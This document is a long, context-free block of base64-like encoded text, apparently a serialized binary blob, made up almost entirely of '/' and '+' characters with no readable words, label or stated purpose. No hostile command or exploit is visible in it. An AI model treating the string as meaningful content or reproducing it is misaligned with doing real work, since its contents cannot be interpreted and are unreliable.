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 - /8O/5vqX/O+/+P/8N/7vf+YP/NW/4//9ljKl/+ff8w/+F//4H/i/H96lGIDU+h9KvsYv/Uv/+9///777 - v/93H9Ma5X/3T/4D/9s//9/8m38lssv/4P/1h/6D/9nf+H/9HrRy/ssfUALhj/v9f/l/+gf+yv/mN/3p - 7/6B/9X/Rqug/+4v/ZVX/9sXXx5d/6o/9Mv/8f/+TX6X//O/v6BUZ/XX/4G/8h/8n36P//2T/+v/+ut/ - ///97/3dKXX8v/3Xv/+PH/4ff/sf+F9X//N/+T/+n1/+3//Dl/83ucL/9N/4y34vSmb92//3f/9//SG/ - x3/3J/4f2//Df0baov2l9X9JMv9//VWkUv/A5s//Px79g//t7/GrDn/J30bBwb/7D/7v//xdysT9D7// - f/mb/n5wpv/BP+3/+jd/5e//f/yHv8vv8b9//t3f9g/8J/+bq5/55bSG+B/+7//0H/gf/0e//5//f/+F - f+C/+/v/sl/5f/zhf+T//c/837/i8Oiv+L1/JWn8//3v/L/+1L/m//4fftNf/H89+D//hD/wf/wnSXZp - 9ewX/oE/8X/959X/+mf+n3cpMfm//sr/48/+A/+D//H/+h/+zf/rX/9j/8P/7lf/g//91Zf/1//47/+H - /9Vv+uf/H//s7/G/Vb/H7/z3/19/+B/4n/yBP/N7/Op/8w/8O//W//u//jP/j4f/93/zf//yP/P/vvwH - f+W/+DPr//13/D///v/7f/pbf4//5lf+X//L//AX/p8f/5+/za+o/tc/8v/+j7+kt37lP/wX/qoriuj/ - i9//f/mf/0xS6d/6v/+k3//v/vuIqu/+5l92j4D/3//Xv/kH/pv/93/6y3//n/oX/6+/6ff4j37Tz/6d - v+Yf/JX/6j/4b/yDFFj9/f/gT/+XF//OH/g//Lv/4H/8P1MU//IPmf3P3/vd/+9ftP4/fsf/8//6B8mZ - +1P/wP/j7i/5Fb/j/3n8B/4jv8v/+nv8n7/zP/gf/of/89Xv9H9W/+A/+X//kl/+3//vD/7s//uf+xv/ - 53/y9/h3//dP/sC/9j/8L/9Hyqr8+RSX/8z/9j//Hv/bn/t/Xl78g//0X3nxN/7+5DD+kv/g//h1/8U/ - 8N//B/+Xf/H/+uz//pd+j61f8r9REuYfJJH49f/P+//0//i//s//7O/xy3///+Nf/L//6//wv/ld/q9P - /u8/7z/8b35TWiT412iaaIH9V/6R/2f2i//Ba1pgWv6B/9YV2fz/7Vf/g//5P/i//l7/xh/4j/+Fv/rq - D/zVd//v3/+f+AN/5d/5f/9Pv8d/82/SetC/88f+/v/p//F3/m+f/5f/JCX83/3Kv/eP+zcO/8GfoNzV - /0m5vv/zj/w/f+eP/8H/6Jf9g+TU/bt/5f/97//vf+P//lv+Bf/DP/jP/d//yD/+e/zKP/f/+rf+wf/z - c0pX/p+//6/8d2kl6Q/8t//1f/gfXP9vf+Zv83//B7/Hn/J//J///C8j5+3//jf/L3IB/s7/+/v/7e/x - 3/3rFF388r/zV//D/+H/8e9/+W/8g/9u9YNf8fd+9Vf+vX/gP/oH/r2/5Jf/u//Ho1/8u1Cm45f/pv/n - 9v/9Zx3+Hg//wR/88j/3//iH/8B/7c/9Pf4Hku//4P88/QP/VUpX/F9/7B/4L/6B//ufS0P+Pf/s7//f - 43/+9/jl/8Xv/6vu/99/zx/7D7b/979J+RdaU/4L/4/1//3v/Kr/+3/63l/3S/+Lf/H/+B/+xv/9D/2/ - /iJK6H75P9JizP/wm/5f/+r//Y//tf/g//EnUi9/0e/x3/2mv+of/aX/4f/6n//L/yOFyH/2X/p7/De/ - y//51/+B/8u/+H989vv//f/7f08rHr/i7v/xd/4F5Lz8X5SC/U3/7//0l/6r/3f5X/4u/9fdP/BX/S7/ - 1y//E/+3H6cVu//m3ySN+rv8nz/1D/4bxGi//h/43/2DlA78L/7K//vfohzmP/gfVP/L+f/1q//v/+A3 - /QP/k7/19/iv/8b//eP/+7/+Zf83xT5/7i/9K4lxf/U/SlT5X8ja/YF/6e/xv/xX//Pf+Cv/e1qUPvv+ - //Hr/YP/Y0VK8T/8G//vv/n3/0+//NX/KLy+//v/+vt/5f/9p/+B/9m/+au++gP/u7/xV/+Gf+Cv/j1+ - 2a/81X/1f/h//G+/y51f+qv+w/+NaHDyf/13v8d/8uD//HP/13/nH/wVv8v/9S/+0j/3//5V/+L/9Uf+ - gv/uj/sD/88/8L+6+j//8n/w+lf8kb/0J/+vf+4/r37l7/J//rp/4D/yd/6B/+j//Z/+sn/5//7lf/4v - /g//wP/5F/8ff8GX//cf9M/+n7/qH/yV/+Mv+W//zX+Asq//yX/4P/yP/+f/8Rf+6ktyN/5hOFK/x//5 - H9NC9w/qv+1n/paj3+P//vv/xv/7L6V8+bs/+//8i//B/+3B//bb/gP/92/4S8tf8Tt+Rb1f/5L/9e6/ - /g/+k3/jv/fn/Iv/11/3H/63f+H//r/+Lr/i9E//P/58ii3+j4v/64/8v/+r//s+rT388//r//Af/u9/ - 5P/xv/yBv/o/rP7A//Tf/L+zX/0v/vd/5R/4n/6Bv4L0Ka12/Gt/4P/2K//5/+uv+x9/yf/8x/7Sf5Qy - PP/3f//sHzz/32mB/t//O/+BH/yKX/wL/sH//c//v/7S3/9//91+9f9x9y/4B3/VX/83/DG/x6/4E//v - P/7/+od+j//1T/xVv+H5fw3p+KWUdvjV/+Af+J/+h7TGdPkH/kO/x//0H/2lf+EP/qd/9//8j//DX/2b - /p3/4//xxR/4j/+L/8flP/gv//6//I/9Cz/7xZ/+X//s//XXUO7kL/kL/0VaePxv/8df/Uf+T7/sd/nV - f+X/9Xf/gT/2e9DS839L8cf/9Mt+D1o/+nv/7/+6+d9/1T9Lk/ef/pv/22//9/1P/y3N2L9c/RF3fylF - Xlff+Z9/2dW/+zv89//Rf/l//cP/6X/4W/4etHb+q/7Zf/A//jf/t//j3/5z/8NffXH0f73+pf/oH/if - ffzsL/0L/7e////+T//83+NX1f/zb/t//f3/93/+e/wr/9df+eX//b/9i//3H/YP/uqL/+tf+Av/t7/1 - //rX/sHLP+ef+wP/x7//y//rH/0P/7MH/8eMki+7v/q3/G3+wP/lb/3Pvix/j5/+A//+f7C8+3/+s//X - 3/QP/jdf/u8X/9df9OAP/Dd+/1/53b/8D/zf/8T/+3/9A//V//B//fLv/4theP/H//FX/4WUrvoLf9Uf - +n/9xb//f/nl//FP/l/p/57+n3/lb/L7/Z//6x/4r/wev+xf/CW/+vf/3//+X/Yf/rLv0Tr2T/5f3yON - +H/+jr/kV3/5q3/l/7X3a/1Pf+X//fkf+O/+gf/rn/ib/2G////4D5Jf+/f+/n/uT1FWh3zL/xwv/71/ - 4P/yO/4fZ//3v1v9yv/oryR4//c/+W/8Lv/rb370e/xv663FaUV5qH/5v/nyr/w7/8C/9ff47/7O//1v - /Zf+7+pXPvg/X/xX//fv8p3/+y+vfuKv/Q//+9/j3/nf//M/8FeO/u/PPv8H/4W/8O87+Z3//v/9r/9f - X/83W7/Hv3X9f/x5P/jf7/+B/+Kvev0X/bJf/5f86n/x13r0L/7ff8+f+X//vsd//X9AuZNf+Tf+z//g - //HV//0P/YO/6uIv+L/+w+/e/b/+sN/2P/9dfvkf+X//hf/h/37///6D/sFf9pv+4l/5m27/L//6P/ir - ftv/85/8G//vv+7BP/ifVr/qP/veP/hv/qP/4X9x93//d/+vP+Ef/Iv+aVLtk1/+L5Le+1f/x//jv/wD - f+Z/fHDnb/kD/7ff/7f77M//v/75v/IP/JV/46/61f/Xf0IJg181/aV/4p/5f/8Lf+h/+Mv+x//9v/w7 - fukfT4svv////L3/8xf/gf/bn/+//qd/5R/4b/+Hv+jv+D+vxv/Xv/EP/oov/+/v/V//wO/xv/y7p//B - //ELyAL9T/90tfpFj/7e/+3v/KV/5t/6+Fev/69/+L++++gtaYr/8e7/9dlv+n/9HX/gH/C//s//61/4 - y3/l/zH9A/+P7H/+A3/ff/DP/j/+HoodfvUfmv+t//vv/Bf85O/xv1b/x/U/+F/8of/hf/4r/+9/9vf4 - 1f/8H/sf/ue/6f/9/f/rT/49yFSs/6//6D/8v+/+h//nx//X3/wP/rd/52f/+1//H/4Dv/qT/+u//x// - r2f/OEl19X/+F3/gv/WP/63/4H9x9fDF0f+5/r/+r9////53/8H/8m/8ZdX/8ff8gV/9si//r5/6A9/9 - 7//h//27/4H/+X/4y//H/+P+//3L/8df/D/9pr//H/h3/9//yb/5O378j/+B//e//ftf/293/6/f6x/8 - H/7Uf/D/+g9///Pf5f8kcf0D/6//cvuX/pv/4P/5n/7+lGz57//A/+r3uPyV/yEh86t/j/+k+r9P/u// - 9T/8z7/8v7//D/zf/+QXl//XX/97/C8X/8P/9eP/9//2u/w9/+ev/n3/z1/v//5H/1tKlP1v//7F7/Gr - fv3/61f9g//D7/G/fPx//ti/+H/9/b//6lf+nX/X8q/9Y3+P6+/f/QU/Q17Rr/xn/95/8P/+7/7B/+N7 - /9ff+x9SzuKP//KP/Qf/h3/73/8P/69/83/7E//AP/c//B8//r/+zj/wv/3yf/+HL/7Af+F3+VV/25/z - f/3mv///8VN/4P/8F67/z9/l//5n/+//7H/8Vd/7P//3u//3v/Y//oG//E/8hf/gT1JC8Kd+5f/9F//6 - //f/+T/+b3/g//1v/IP/xN2D//NX/1+/6n/8v/8M6uFX/Mt/4a/8c//P3/z//j/+x//9t/2/zv7v//ju - X/h/3/kH7/66e//3/4UVt7/6H/yn/8b/+X/4/WkB6R+iLN3/+cUv/ev/wV/5n/6Hf8/f83/89//Xv/P3 - /x7/ze8x+r//uT/19/iP/83/m0zJb/u93+OX3fsD/83f4//8bf+vv+Ef/I8e/Pn/N2Xk/sS/8a/5t/+z - f/hf/D++/PX/QErw/pn//f/1n/0uv/y3/E3/r7/oF/+B/9Y/+Zv+33/RX/kf/p//yd/5q3+Pf4V6/d// - l//6X/9PfuW7//V3/L9+6k/8lb/0f/z9f9//8zf5B//bv/FX/i7//O/3f9/5v//l6lf9jv/3j/22fy8l - QMjuXv+t/3f5f/yRv+R/vvcH/je/x//+q49+1V/+u/yL//df9Xv8ij/z//hVv8f/+uvTpP+Dq1/9m/59 - v/qv/C9+/X/wn/8Xf+a//Kcrcr7v/y7f/T3+59/2T/ylv+p3+eW/x//x7A/8X//GX3nvH/xVfyHZtv+a - NNr/8d//3//Nn/jPkQH9Fb/pr9r+pZQSW/9fv/xv/Q//x1/2f//qL3/Jr/zev/9//vX/9z/9H/7i//LB - //Hv/9//3n//e/yK//FXr//vv/X3/x+//NU//rv8X8Uf+K/9/j/zv/yJf+Cf8n/843/rf0ixx2f/99/2 - uxDT/09/4P/2L/4fn/yDv/Lf/D//hn/wP/l7f9V/tv5Vn//S/+Ov/D9/57/2V/ytv8fWr/5r/8D/9v9+ - +H8e/i7/x2/zL/6t/+xf+L//iv/7v/09/tO/8Vf9kf/Mr/8P/st/5n/+D9bkyv/3f+s/+a/+sf/Zf/e/ - kKP7B/4P/+L3fun/8Tv+hf/H8p+lxPEf+D//gf/32z+9+gd/9e9295f+i3/i//2n/R6/+up/+2d/6S/7 - T//B/+af/o9pKZzW4v7A//sP/G+u//ffdPF/5v/g/139Lf/H3/5//0f/9b/6n/3K/+O3/AP/1X/wP/o3 - /7ff60/4Pf7vQyLCr/5f/4f/8X/9c/+vP/0f/J//w+ur//vqf//3/++/49/8A7/3y36X/+MXkD37Lk3f - r7qixab/6z/8B8g0/3FfXf75//ef/wf+8v/wL/w/X/+1f+xv+38//V//1X/9b/zfv/i//op/8D+++3/9 - 